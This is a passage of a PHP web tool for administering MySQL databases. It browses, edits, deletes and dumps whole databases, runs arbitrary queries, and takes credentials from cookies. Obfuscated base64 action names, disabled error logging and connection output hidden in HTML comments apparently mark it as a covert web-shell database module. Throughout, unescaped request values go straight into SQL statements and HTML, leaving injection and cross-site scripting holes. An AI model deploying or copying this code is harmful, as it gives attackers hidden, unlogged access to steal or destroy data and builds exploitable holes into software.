  1165.     global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  1166.  
  1167.  
  1168.  
  1169.     $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
  1170.  
  1171.     mysql_select_db( $dbname, $mysqlHandle );
  1172.  
  1173.     mysql_query( $queryStr , $mysqlHandle );
  1174.  
  1175.     $errMsg = mysql_error();
  1176.  
  1177.  
  1178.  
  1179.     viewSchema();
  1180.  
  1181. }
  1182.  
  1183.  
  1184.  
  1185. function viewData( $queryStr ) {
  1186.  
  1187.     global $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby;
  1188.  
  1189.  
  1190.  
  1191.     echo "<h1>Data in Table</h1>\n";
  1192.  
  1193.     if( $tablename != "" )
  1194.  
  1195.         echo "<p class=location>$dbname > $tablename</p>\n";
  1196.  
  1197.     else
  1198.  
  1199.         echo "<p class=location>$dbname</p>\n";
  1200.  
  1201.  
  1202.  
  1203.     $queryStr = stripslashes( $queryStr );
  1204.  
  1205.     if( $queryStr == "" ) {
  1206.  
  1207.         $queryStr = "SELECT * FROM $tablename";
  1208.  
  1209.         if( $orderby != "" )
  1210.  
  1211.             $queryStr .= " ORDER BY $orderby";
  1212.  
  1213.         echo "<a href='$PHP_SELF?action=addData&dbname=$dbname&tablename=$tablename'>Add Data</a> | \n";
  1214.  
  1215.         echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
  1216.  
  1217.     }
  1218.  
  1219.  
  1220.  
  1221.     $pResult = mysql_db_query( $dbname, $queryStr );
  1222.  
  1223.     $fieldt = mysql_fetch_field($pResult);
  1224.  
  1225.     $tablename = $fieldt->table;
  1226.  
  1227.     $errMsg = mysql_error();
  1228.  
  1229.  
  1230.  
  1231.     $GLOBALS[queryStr] = $queryStr;
  1232.  
  1233.  
  1234.  
  1235.     if( $pResult == false ) {
  1236.  
  1237.         echoQueryResult();
  1238.  
  1239.         return;
  1240.  
  1241.     }
  1242.  
  1243.     if( $pResult == 1 ) {
  1244.  
  1245.         $errMsg = "Success";
  1246.  
  1247.         echoQueryResult();
  1248.  
  1249.         return;
  1250.  
  1251.     }
  1252.  
  1253.  
  1254.  
  1255.     echo "<hr>\n";
  1256.  
  1257.  
  1258.  
  1259.     $row = mysql_num_rows( $pResult );
  1260.  
  1261.     $col = mysql_num_fields( $pResult );
  1262.  
  1263.  
  1264.  
  1265.     if( $row == 0 ) {
  1266.  
  1267.         echo "No Data Exist!";
  1268.  
  1269.         return;
  1270.  
  1271.     }
  1272.  
  1273.  
  1274.  
  1275.     if( $rowperpage == "" ) $rowperpage = 30;
  1276.  
  1277.     if( $page == "" ) $page = 0;
  1278.  
  1279.     else $page--;
  1280.  
  1281.     mysql_data_seek( $pResult, $page * $rowperpage );
  1282.  
  1283.  
  1284.  
  1285.     echo "<table cellspacing=1 cellpadding=2>\n";
  1286.  
  1287.     echo "<tr>\n";
  1288.  
  1289.     for( $i = 0; $i < $col; $i++ ) {
  1290.  
  1291.         $field = mysql_fetch_field( $pResult, $i );
  1292.  
  1293.         echo "<th>";
  1294.  
  1295.         if($action == "dmlld0RhdGE=")
  1296.  
  1297.             echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n";
  1298.  
  1299.         else
  1300.  
  1301.             echo $field->name."\n";
  1302.  
  1303.         echo "</th>\n";
  1304.  
  1305.     }
  1306.  
  1307.     echo "<th colspan=2>Action</th>\n";
  1308.  
  1309.     echo "</tr>\n";
  1310.  
  1311.  
  1312.  
  1313.     for( $i = 0; $i < $rowperpage; $i++ ) {
  1314.  
  1315.         $rowArray = mysql_fetch_row( $pResult );
  1316.  
  1317.         if( $rowArray == false ) break;
  1318.  
  1319.         echo "<tr>\n";
  1320.  
  1321.         $key = "";
  1322.  
  1323.         for( $j = 0; $j < $col; $j++ ) {
  1324.  
  1325.             $data = $rowArray[$j];
  1326.  
  1327.  
  1328.  
  1329.             $field = mysql_fetch_field( $pResult, $j );
  1330.  
  1331.             if( $field->primary_key == 1 )
  1332.  
  1333.                 $key .= "&" . $field->name . "=" . $data;
  1334.  
  1335.  
  1336.  
  1337.             if( strlen( $data ) > 30 )
  1338.  
  1339.                 $data = substr( $data, 0, 30 ) . "...";
  1340.  
  1341.             $data = htmlspecialchars( $data );
  1342.  
  1343.             echo "<td>\n";
  1344.  
  1345.             echo "$data\n";
  1346.  
  1347.             echo "</td>\n";
  1348.  
  1349.         }
  1350.  
  1351.  
  1352.  
  1353.         if( $key == "" )
  1354.  
  1355.             echo "<td colspan=2>no Key</td>\n";
  1356.  
  1357.         else {
  1358.  
  1359.             echo "<td><a href='$PHP_SELF?action=editData$key&dbname=$dbname&tablename=$tablename'>Edit</a></td>\n";
  1360.  
  1361.             echo "<td><a href='$PHP_SELF?action=deleteData$key&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Delete Row?')\">Delete</a></td>\n";
  1362.  
  1363.         }
  1364.  
  1365.         echo "</tr>\n";
  1366.  
  1367.     }
  1368.  
  1369.     echo "</table>\n";
  1370.  
  1371.  
  1372.  
  1373.     echo "<font size=2>\n";
  1374.  
  1375.     if($action == "dmlld0RhdGE=")
  1376.  
  1377.         echo "<form action='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename' method=post>\n";
  1378.  
  1379.     else
  1380.  
  1381.         echo "<form action='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr' method=post>\n";
  1382.  
  1383.  
  1384.  
  1385.     echo ($page+1)."/".(int)($row/$rowperpage+1)." page";
  1386.  
  1387.     echo "</font>\n";
  1388.  
  1389.     echo " | ";
  1390.  
  1391.     if( $page > 0 ) {
  1392.  
  1393.         if($action == "dmlld0RhdGE=")
  1394.  
  1395.             echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&page=".($page);
  1396.  
  1397.         else
  1398.  
  1399.             echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page);
  1400.  
  1401.         if( $orderby != "" && $action == "dmlld0RhdGE=")
  1402.  
  1403.             echo "&orderby=$orderby";
  1404.  
  1405.         echo "'>Prev</a>\n";
  1406.  
  1407.     } else
  1408.  
  1409.         echo "Prev";
  1410.  
  1411.     echo " | ";
  1412.  
  1413.     if( $page < ($row/$rowperpage)-1 ) {
  1414.  
  1415.         if($action == "dmlld0RhdGE=")
  1416.  
  1417.             echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&page=".($page+2);
  1418.  
  1419.         else
  1420.  
  1421.             echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page+2);
  1422.  
  1423.         if( $orderby != "" && $action == "dmlld0RhdGE=")
  1424.  
  1425.             echo "&orderby=$orderby";
  1426.  
  1427.         echo "'>Next</a>\n";
  1428.  
  1429.     } else
  1430.  
  1431.         echo "Next";
  1432.  
  1433.     echo " | ";
  1434.  
  1435.     if( $row > $rowperpage ) {
  1436.  
  1437.         echo "<input type=text size=4 name=page>\n";
  1438.  
  1439.         echo "<input type=submit value='Go'>\n";
  1440.  
  1441.     }
  1442.  
  1443.     echo "</form>\n";
  1444.  
  1445.     echo "</font>\n";
  1446.  
  1447. }
  1448.  
  1449.  
  1450.  
  1451. function manageData( $cmd ) {
  1452.  
  1453.     global $mysqlHandle, $dbname, $tablename, $PHP_SELF;
  1454.  
  1455.  
  1456.  
  1457.     if( $cmd == "add" )
  1458.  
  1459.         echo "<h1>Add Data</h1>\n";
  1460.  
  1461.     else if( $cmd == "edit" ) {
  1462.  
  1463.         echo "<h1>Edit Data</h1>\n";
  1464.  
  1465.         $pResult = mysql_list_fields( $dbname, $tablename );
  1466.  
  1467.         $num = mysql_num_fields( $pResult );
  1468.  
  1469.  
  1470.  
  1471.         $key = "";
  1472.  
  1473.         for( $i = 0; $i < $num; $i++ ) {
  1474.  
  1475.             $field = mysql_fetch_field( $pResult, $i );
  1476.  
  1477.             if( $field->primary_key == 1 )
  1478.  
  1479.                 if( $field->numeric == 1 )
  1480.  
  1481.                     $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
  1482.  
  1483.                 else
  1484.  
  1485.                     $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
  1486.  
  1487.         }
  1488.  
  1489.         $key = substr( $key, 0, strlen($key)-4 );
  1490.  
  1491.  
  1492.  
  1493.         mysql_select_db( $dbname, $mysqlHandle );
  1494.  
  1495.         $pResult = mysql_query( $queryStr =  "SELECT * FROM $tablename WHERE $key", $mysqlHandle );
  1496.  
  1497.         $data = mysql_fetch_array( $pResult );
  1498.  
  1499.     }
  1500.  
  1501.  
  1502.  
  1503.     echo "<p class=location>$dbname > $tablename</p>\n";
  1504.  
  1505.  
  1506.  
  1507.     echo "<form action='$PHP_SELF' method=post>\n";
  1508.  
  1509.     if( $cmd == "add" )
  1510.  
  1511.         echo "<input type=hidden name=action value=addData_submit>\n";
  1512.  
  1513.     else if( $cmd == "edit" )
  1514.  
  1515.         echo "<input type=hidden name=action value=editData_submit>\n";
  1516.  
  1517.     echo "<input type=hidden name=dbname value=$dbname>\n";
  1518.  
  1519.     echo "<input type=hidden name=tablename value=$tablename>\n";
  1520.  
  1521.     echo "<table cellspacing=1 cellpadding=2>\n";
  1522.  
  1523.     echo "<tr>\n";
  1524.  
  1525.     echo "<th>Name</th>\n";
  1526.  
  1527.     echo "<th>Type</th>\n";
  1528.  
  1529.     echo "<th>Function</th>\n";
  1530.  
  1531.     echo "<th>Data</th>\n";
  1532.  
  1533.     echo "</tr>\n";
  1534.  
  1535.  
  1536.  
  1537.     $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  1538.  
  1539.     $num = mysql_num_rows( $pResult );
  1540.  
  1541.  
  1542.  
  1543.     $pResultLen = mysql_list_fields( $dbname, $tablename );
  1544.  
  1545.  
  1546.  
  1547.     for( $i = 0; $i < $num; $i++ ) {
  1548.  
  1549.         $field = mysql_fetch_array( $pResult );
  1550.  
  1551.         $fieldname = $field["Field"];
  1552.  
  1553.         $fieldtype = $field["Type"];
  1554.  
  1555.         $len = mysql_field_len( $pResultLen, $i );
  1556.  
  1557.  
  1558.  
  1559.         echo "<tr>";
  1560.  
  1561.         echo "<td>$fieldname</td>";
  1562.  
  1563.         echo "<td>".$field["Type"]."</td>";
  1564.  
  1565.         echo "<td>\n";
  1566.  
  1567.         echo "<select name=${fieldname}_function>\n";
  1568.  
  1569.         echo "<option>\n";
  1570.  
  1571.         echo "<option>ASCII\n";
  1572.  
  1573.         echo "<option>CHAR\n";
  1574.  
  1575.         echo "<option>SOUNDEX\n";
  1576.  
  1577.         echo "<option>CURDATE\n";
  1578.  
  1579.         echo "<option>CURTIME\n";
  1580.  
  1581.         echo "<option>FROM_DAYS\n";
  1582.  
  1583.         echo "<option>FROM_UNIXTIME\n";
  1584.  
  1585.         echo "<option>NOW\n";
  1586.  
  1587.         echo "<option>PASSWORD\n";
  1588.  
  1589.         echo "<option>PERIOD_ADD\n";
  1590.  
  1591.         echo "<option>PERIOD_DIFF\n";
  1592.  
  1593.         echo "<option>TO_DAYS\n";
  1594.  
  1595.         echo "<option>USER\n";
  1596.  
  1597.         echo "<option>WEEKDAY\n";
  1598.  
  1599.         echo "<option>RAND\n";
  1600.  
  1601.         echo "</select>\n";
  1602.  
  1603.         echo "</td>\n";
  1604.  
  1605.         $value = htmlspecialchars($data[$i]);
  1606.  
  1607.         if( $cmd == "add" ) {
  1608.  
  1609.             $type = strtok( $fieldtype, " (,)\n" );
  1610.  
  1611.             if( $type == "enum" || $type == "set" ) {
  1612.  
  1613.                 echo "<td>\n";
  1614.  
  1615.                 if( $type == "enum" )
  1616.  
  1617.                     echo "<select name=$fieldname>\n";
  1618.  
  1619.                 else if( $type == "set" )
  1620.  
  1621.                     echo "<select name=$fieldname size=4 multiple>\n";
  1622.  
  1623.                 while( $str = strtok( "'" ) ) {
  1624.  
  1625.                     echo "<option>$str\n";
  1626.  
  1627.                     strtok( "'" );
  1628.  
  1629.                 }
  1630.  
  1631.                 echo "</select>\n";
  1632.  
  1633.                 echo "</td>\n";
  1634.  
  1635.             } else {
  1636.  
  1637.                 if( $len < 40 )
  1638.  
  1639.                     echo "<td><input type=text size=40 maxlength=$len name=$fieldname></td>\n";
  1640.  
  1641.                 else
  1642.  
  1643.                     echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname></textarea>\n";
  1644.  
  1645.             }
  1646.  
  1647.         } else if( $cmd == "edit" ) {
  1648.  
  1649.             $type = strtok( $fieldtype, " (,)\n" );
  1650.  
  1651.             if( $type == "enum" || $type == "set" ) {
  1652.  
  1653.                 echo "<td>\n";
  1654.  
  1655.                 if( $type == "enum" )
  1656.  
  1657.                     echo "<select name=$fieldname>\n";
  1658.  
  1659.                 else if( $type == "set" )
  1660.  
  1661.                     echo "<select name=$fieldname size=4 multiple>\n";
  1662.  
  1663.                 while( $str = strtok( "'" ) ) {
  1664.  
  1665.                     if( $value == $str )
  1666.  
  1667.                         echo "<option selected>$str\n";
  1668.  
  1669.                     else
  1670.  
  1671.                         echo "<option>$str\n";
  1672.  
  1673.                     strtok( "'" );
  1674.  
  1675.                 }
  1676.  
  1677.                 echo "</select>\n";
  1678.  
  1679.                 echo "</td>\n";
  1680.  
  1681.             } else {
  1682.  
  1683.                 if( $len < 40 )
  1684.  
  1685.                     echo "<td><input type=text size=40 maxlength=$len name=$fieldname value=\"$value\"></td>\n";
  1686.  
  1687.                 else
  1688.  
  1689.                     echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname>$value</textarea>\n";
  1690.  
  1691.             }
  1692.  
  1693.         }
  1694.  
  1695.         echo "</tr>";
  1696.  
  1697.     }
  1698.  
  1699.     echo "</table><p>\n";
  1700.  
  1701.     if( $cmd == "add" )
  1702.  
  1703.         echo "<input type=submit value='Add Data'>\n";
  1704.  
  1705.     else if( $cmd == "edit" )
  1706.  
  1707.         echo "<input type=submit value='Edit Data'>\n";
  1708.  
  1709.     echo "<input type=button value='Cancel' onClick='history.back()'>\n";
  1710.  
  1711.     echo "</form>\n";
  1712.  
  1713. }
  1714.  
  1715.  
  1716.  
  1717. function manageData_submit( $cmd ) {
  1718.  
  1719.     global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  1720.  
  1721.  
  1722.  
  1723.     $pResult = mysql_list_fields( $dbname, $tablename );
  1724.  
  1725.     $num = mysql_num_fields( $pResult );
  1726.  
  1727.  
  1728.  
  1729.     mysql_select_db( $dbname, $mysqlHandle );
  1730.  
  1731.     if( $cmd == "add" )
  1732.  
  1733.         $queryStr = "INSERT INTO $tablename VALUES (";
  1734.  
  1735.     else if( $cmd == "edit" )
  1736.  
  1737.         $queryStr = "REPLACE INTO $tablename VALUES (";
  1738.  
  1739.     for( $i = 0; $i < $num-1; $i++ ) {
  1740.  
  1741.         $field = mysql_fetch_field( $pResult );
  1742.  
  1743.         $func = $GLOBALS[$field->name."_function"];
  1744.  
  1745.         if( $func != "" )
  1746.  
  1747.             $queryStr .= " $func(";
  1748.  
  1749.         if( $field->numeric == 1 ) {
  1750.  
  1751.             $queryStr .= $GLOBALS[$field->name];
  1752.  
  1753.             if( $func != "" )
  1754.  
  1755.                 $queryStr .= "),";
  1756.  
  1757.             else
  1758.  
  1759.                 $queryStr .= ",";
  1760.  
  1761.         } else {
  1762.  
  1763.             $queryStr .= "'" . $GLOBALS[$field->name];
  1764.  
  1765.             if( $func != "" )
  1766.  
  1767.                 $queryStr .= "'),";
  1768.  
  1769.             else
  1770.  
  1771.                 $queryStr .= "',";
  1772.  
  1773.         }
  1774.  
  1775.     }
  1776.  
  1777.     $field = mysql_fetch_field( $pResult );
  1778.  
  1779.     if( $field->numeric == 1 )
  1780.  
  1781.         $queryStr .= $GLOBALS[$field->name] . ")";
  1782.  
  1783.     else
  1784.  
  1785.         $queryStr .= "'" . $GLOBALS[$field->name] . "')";
  1786.  
  1787.  
  1788.  
  1789.     mysql_query( $queryStr , $mysqlHandle );
  1790.  
  1791.     $errMsg = mysql_error();
  1792.  
  1793.  
  1794.  
  1795.     viewData( "" );
  1796.  
  1797. }
  1798.  
  1799.  
  1800.  
  1801. function deleteData() {
  1802.  
  1803.     global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  1804.  
  1805.  
  1806.  
  1807.     $pResult = mysql_list_fields( $dbname, $tablename );
  1808.  
  1809.     $num = mysql_num_fields( $pResult );
  1810.  
  1811.  
  1812.  
  1813.     $key = "";
  1814.  
  1815.     for( $i = 0; $i < $num; $i++ ) {
  1816.  
  1817.         $field = mysql_fetch_field( $pResult, $i );
  1818.  
  1819.         if( $field->primary_key == 1 )
  1820.  
  1821.             if( $field->numeric == 1 )
  1822.  
  1823.                 $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
  1824.  
  1825.             else
  1826.  
  1827.                 $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
  1828.  
  1829.     }
  1830.  
  1831.     $key = substr( $key, 0, strlen($key)-4 );
  1832.  
  1833.  
  1834.  
  1835.     mysql_select_db( $dbname, $mysqlHandle );
  1836.  
  1837.     $queryStr =  "DELETE FROM $tablename WHERE $key";
  1838.  
  1839.     mysql_query( $queryStr, $mysqlHandle );
  1840.  
  1841.     $errMsg = mysql_error();
  1842.  
  1843.  
  1844.  
  1845.     viewData( "" );
  1846.  
  1847. }
  1848.  
  1849.  
  1850.  
  1851. function fetch_table_dump_sql($table)
  1852.  
  1853. {
  1854.  
  1855.     global $mysqlHandle,$dbname;
  1856.  
  1857.  
  1858.  
  1859.     mysql_select_db( $dbname, $mysqlHandle );
  1860.  
  1861.     $query_id = mysql_query("SHOW CREATE TABLE $table",$mysqlHandle);
  1862.  
  1863.     $tabledump = mysql_fetch_array($query_id, MYSQL_ASSOC);
  1864.  
  1865.     $tabledump = "DROP TABLE IF EXISTS $table;\n" . $tabledump['Create Table'] . ";\n\n";
  1866.  
  1867.  
  1868.  
  1869.     echo $tabledump;
  1870.  
  1871.  
  1872.  
  1873.     // get data
  1874.  
  1875.     $rows = mysql_query("SELECT * FROM $table",$mysqlHandle);
  1876.  
  1877.     $numfields=mysql_num_fields($rows);
  1878.  
  1879.     while ($row = mysql_fetch_array($rows, MYSQL_NUM))
  1880.  
  1881.     {
  1882.  
  1883.         $tabledump = "INSERT INTO $table VALUES(";
  1884.  
  1885.  
  1886.  
  1887.         $fieldcounter = -1;
  1888.  
  1889.         $firstfield = 1;
  1890.  
  1891.         // get each field's data
  1892.  
  1893.         while (++$fieldcounter < $numfields)
  1894.  
  1895.         {
  1896.  
  1897.             if (!$firstfield)
  1898.  
  1899.             {
  1900.  
  1901.                 $tabledump .= ', ';
  1902.  
  1903.             }
  1904.  
  1905.             else
  1906.  
  1907.             {
  1908.  
  1909.                 $firstfield = 0;
  1910.  
  1911.             }
  1912.  
  1913.  
  1914.  
  1915.             if (!isset($row["$fieldcounter"]))
  1916.  
  1917.             {
  1918.  
  1919.                 $tabledump .= 'NULL';
  1920.  
  1921.             }
  1922.  
  1923.             else
  1924.  
  1925.             {
  1926.  
  1927.                 $tabledump .= "'" . mysql_escape_string($row["$fieldcounter"]) . "'";
  1928.  
  1929.             }
  1930.  
  1931.         }
  1932.  
  1933.  
  1934.  
  1935.         $tabledump .= ");\n";
  1936.  
  1937.  
  1938.  
  1939.         echo $tabledump;
  1940.  
  1941.  
  1942.  
  1943.     }
  1944.  
  1945.     @mysql_free_result($rows);
  1946.  
  1947. }
  1948.  
  1949.  
  1950.  
  1951. function dump() {
  1952.  
  1953.     global $mysqlHandle, $action, $dbname, $tablename;
  1954.  
  1955.  
  1956.  
  1957.     if( $action == "dumpTable" ){
  1958.  
  1959.  
  1960.  
  1961.         header("Content-disposition: filename=$tablename.sql");
  1962.  
  1963.         header('Content-type: unknown/unknown');
  1964.  
  1965.         fetch_table_dump_sql($tablename);
  1966.  
  1967.         echo "\n\n\n";
  1968.  
  1969.         echo "\r\n\r\n\r\n### $tablename TABLE DUMP COMPLETED ###";
  1970.  
  1971.         exit;
  1972.  
  1973.  
  1974.  
  1975.     }else{
  1976.  
  1977.         header("Content-disposition: filename=$dbname.sql");
  1978.  
  1979.         header('Content-type: unknown/unknown');
  1980.  
  1981.  
  1982.  
  1983.         mysql_select_db( $dbname, $mysqlHandle );
  1984.  
  1985.         $query_id = mysql_query("SHOW tables",$mysqlHandle);
  1986.  
  1987.         while ($row = mysql_fetch_array($query_id, MYSQL_NUM))
  1988.  
  1989.         {
  1990.  
  1991.                 fetch_table_dump_sql($row[0]);
  1992.  
  1993.                 echo "\n\n\n";
  1994.  
  1995.                 echo "\r\n\r\n\r\n### $row[0] TABLE DUMP COMPLETED ###";
  1996.  
  1997.                 echo "\n\n\n";
  1998.  
  1999.         }
  2000.  
  2001.         echo "\r\n\r\n\r\n### $dbname DATABASE DUMP COMPLETED ###";
  2002.  
  2003.         exit;
  2004.  
  2005.  
  2006.  
  2007.     }
  2008.  
  2009.  
  2010.  
  2011. }
  2012.  
  2013.  
  2014.  
  2015. function utils() {
  2016.  
  2017.     global $PHP_SELF, $command;
  2018.  
  2019.     echo "<h1>Utilities</h1>\n";
  2020.  
  2021.     if( $command == "" || substr( $command, 0, 5 ) == "flush" ) {
  2022.  
  2023.         echo "<hr>\n";
  2024.  
  2025.         echo "Show\n";
  2026.  
  2027.         echo "<ul>\n";
  2028.  
  2029.         echo "<li><a href='$PHP_SELF?action=utils&command=show_status'>Status</a>\n";
  2030.  
  2031.         echo "<li><a href='$PHP_SELF?action=utils&command=show_variables'>Variables</a>\n";
  2032.  
  2033.         echo "<li><a href='$PHP_SELF?action=utils&command=show_processlist'>Processlist</a>\n";
  2034.  
  2035.         echo "</ul>\n";
  2036.  
  2037.         echo "Flush\n";
  2038.  
  2039.         echo "<ul>\n";
  2040.  
  2041.         echo "<li><a href='$PHP_SELF?action=utils&command=flush_hosts'>Hosts</a>\n";
  2042.  
  2043.         if( $command == "flush_hosts" ) {
  2044.  
  2045.             if( mysql_query( "Flush hosts" ) != false )
  2046.  
  2047.                 echo "- Success";
  2048.  
  2049.             else
  2050.  
  2051.                 echo "- Fail";
  2052.  
  2053.         }
  2054.  
  2055.         echo "<li><a href='$PHP_SELF?action=utils&command=flush_logs'>Logs</a>\n";
  2056.  
  2057.         if( $command == "flush_logs" ) {
  2058.  
  2059.             if( mysql_query( "Flush logs" ) != false )
  2060.  
  2061.                 echo "- Success";
  2062.  
  2063.             else
  2064.  
  2065.                 echo "- Fail";
  2066.  
  2067.         }
  2068.  
  2069.         echo "<li><a href='$PHP_SELF?action=utils&command=flush_privileges'>Privileges</a>\n";
  2070.  
  2071.         if( $command == "flush_privileges" ) {
  2072.  
  2073.             if( mysql_query( "Flush privileges" ) != false )
  2074.  
  2075.                 echo "- Success";
  2076.  
  2077.             else
  2078.  
  2079.                 echo "- Fail";
  2080.  
  2081.         }
  2082.  
  2083.         echo "<li><a href='$PHP_SELF?action=utils&command=flush_tables'>Tables</a>\n";
  2084.  
  2085.         if( $command == "flush_tables" ) {
  2086.  
  2087.             if( mysql_query( "Flush tables" ) != false )
  2088.  
  2089.                 echo "- Success";
  2090.  
  2091.             else
  2092.  
  2093.                 echo "- Fail";
  2094.  
  2095.         }
  2096.  
  2097.         echo "<li><a href='$PHP_SELF?action=utils&command=flush_status'>Status</a>\n";
  2098.  
  2099.         if( $command == "flush_status" ) {
  2100.  
  2101.             if( mysql_query( "Flush status" ) != false )
  2102.  
  2103.                 echo "- Success";
  2104.  
  2105.             else
  2106.  
  2107.                 echo "- Fail";
  2108.  
  2109.         }
  2110.  
  2111.         echo "</ul>\n";
  2112.  
  2113.     } else {
  2114.  
  2115.         $queryStr = ereg_replace( "_", " ", $command );
  2116.  
  2117.         $pResult = mysql_query( $queryStr );
  2118.  
  2119.         if( $pResult == false ) {
  2120.  
  2121.             echo "Fail";
  2122.  
  2123.             return;
  2124.  
  2125.         }
  2126.  
  2127.         $col = mysql_num_fields( $pResult );
  2128.  
  2129.  
  2130.  
  2131.         echo "<p class=location>$queryStr</p>\n";
  2132.  
  2133.         echo "<hr>\n";
  2134.  
  2135.  
  2136.  
  2137.         echo "<table cellspacing=1 cellpadding=2 border=0>\n";
  2138.  
  2139.         echo "<tr>\n";
  2140.  
  2141.         for( $i = 0; $i < $col; $i++ ) {
  2142.  
  2143.             $field = mysql_fetch_field( $pResult, $i );
  2144.  
  2145.             echo "<th>".$field->name."</th>\n";
  2146.  
  2147.         }
  2148.  
  2149.         echo "</tr>\n";
  2150.  
  2151.  
  2152.  
  2153.         while( 1 ) {
  2154.  
  2155.             $rowArray = mysql_fetch_row( $pResult );
  2156.  
  2157.             if( $rowArray == false ) break;
  2158.  
  2159.             echo "<tr>\n";
  2160.  
  2161.             for( $j = 0; $j < $col; $j++ )
  2162.  
  2163.                 echo "<td>".htmlspecialchars( $rowArray[$j] )."</td>\n";
  2164.  
  2165.             echo "</tr>\n";
  2166.  
  2167.         }
  2168.  
  2169.         echo "</table>\n";
  2170.  
  2171.     }
  2172.  
  2173. }
  2174.  
  2175.  
  2176.  
  2177.  
  2178.  
  2179.  
  2180.  
  2181. function footer_html() {
  2182.  
  2183.     global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $USERNAME;
  2184.  
  2185.  
  2186.  
  2187.     echo "<hr>\n";
  2188.  
  2189.     echo "[$USERNAME] - \n";
  2190.  
  2191.  
  2192.  
  2193.     echo "<a href='$PHP_SELF?action=bGlzdERCcw=='>Database List</a> | \n";
  2194.  
  2195.     if( $tablename != "" )
  2196.  
  2197.         echo "<a href='$PHP_SELF?action=listTables&dbname=$dbname&tablename=$tablename'>Table List</a> | ";
  2198.  
  2199.     echo "<a href='$PHP_SELF?action=utils'>Utils</a> |\n";
  2200.  
  2201.     echo "<a href='$PHP_SELF?action=logout'>Logout</a>\n";
  2202.  
  2203.  
  2204.  
  2205.  
  2206.  
  2207. }
  2208.  
  2209.  
  2210.  
  2211.  
  2212.  
  2213.  
  2214.  
  2215.  
  2216.  
  2217. //------------- MAIN ------------- //
  2218.  
  2219. error_reporting(0);
  2220.  
  2221. ini_set ('display_errors', 0);
  2222.  
  2223. ini_set ('log_errors', 0);
  2224.  
  2225.  
  2226.  
  2227. if( $action == "logon" || $action == "" || $action == "logout" )
  2228.  
  2229.     logon();
  2230.  
  2231. else if( $action == "bG9nb25fc3VibWl0" )
  2232.  
  2233.     logon_submit();
  2234.  
  2235. else if( $action == "dumpTable" || $action == "dumpDB" ) {
  2236.  
  2237.     while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
  2238.  
  2239.         if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
  2240.  
  2241.         if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
  2242.  
  2243.         if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
  2244.  
  2245.     }
  2246.  
  2247.     $mysqlHandle = @mysql_connect( $HOSTNAME.":3306", $USERNAME, $PASSWORD );
  2248.  
  2249.     dump();
  2250.  
  2251. } else {
  2252.  
  2253.     while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
  2254.  
  2255.         if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
  2256.  
  2257.         if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
  2258.  
  2259.         if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
  2260.  
  2261.     }
  2262.  
  2263.     echo "<!--";
  2264.  
  2265.     $mysqlHandle = @mysql_connect( $HOSTNAME.":3306", $USERNAME, $PASSWORD );
  2266.  
  2267.     echo "-->";
  2268.  
  2269.  
  2270.  
  2271.     if( $mysqlHandle == false ) {
  2272.  
  2273.  
  2274.  
  2275.  
  2276.  
  2277.         echo "<table width=100% height=100%><tr><td><center>\n";
  2278.  
  2279.         echo "<h1>Wrong Password!</h1>\n";
  2280.  
  2281.         echo "<a href='$PHP_SELF?action=logon'>Logon</a>\n";
  2282.  
  2283.         echo "</center></td></tr></table>\n";
  2284.  
  2285.  
  2286.  
  2287.     } else {
  2288.  
  2289.  
  2290.  
  2291.         if( $action == "bGlzdERCcw==" )
  2292.  
  2293.             listDatabases();
  2294.  
  2295.         else if( $action == "createDB" )
  2296.  
  2297.             createDatabase();
  2298.  
  2299.         else if( $action == "dropDB" )
  2300.  
  2301.             dropDatabase();
  2302.  
  2303.         else if( $action == "listTables" )
  2304.  
  2305.             listTables();
  2306.  
  2307.         else if( $action == "createTable" )
  2308.  
  2309.             createTable();
  2310.  
  2311.         else if( $action == "dropTable" )
  2312.  
  2313.             dropTable();
  2314.  
  2315.         else if( $action == "viewSchema" )
  2316.  
  2317.             viewSchema();
  2318.  
  2319.         else if( $action == "query" )
  2320.  
  2321.             viewData( $queryStr );
  2322.  
  2323.         else if( $action == "addField" )
  2324.  
  2325.             manageField( "add" );
  2326.  
  2327.         else if( $action == "addField_submit" )
  2328.  
  2329.             manageField_submit( "add" );
  2330.  
  2331.         else if( $action == "editField" )
  2332.  
  2333.             manageField( "edit" );
  2334.  
  2335.         else if( $action == "editField_submit" )
  2336.  
  2337.             manageField_submit( "edit" );
  2338.  
  2339.         else if( $action == "dropField" )
  2340.  
  2341.             dropField();
  2342.  
  2343.         else if( $action == "dmlld0RhdGE=" )
  2344.  
  2345.             viewData( "" );
  2346.  
  2347.         else if( $action == "addData" )
  2348.  
  2349.             manageData( "add" );
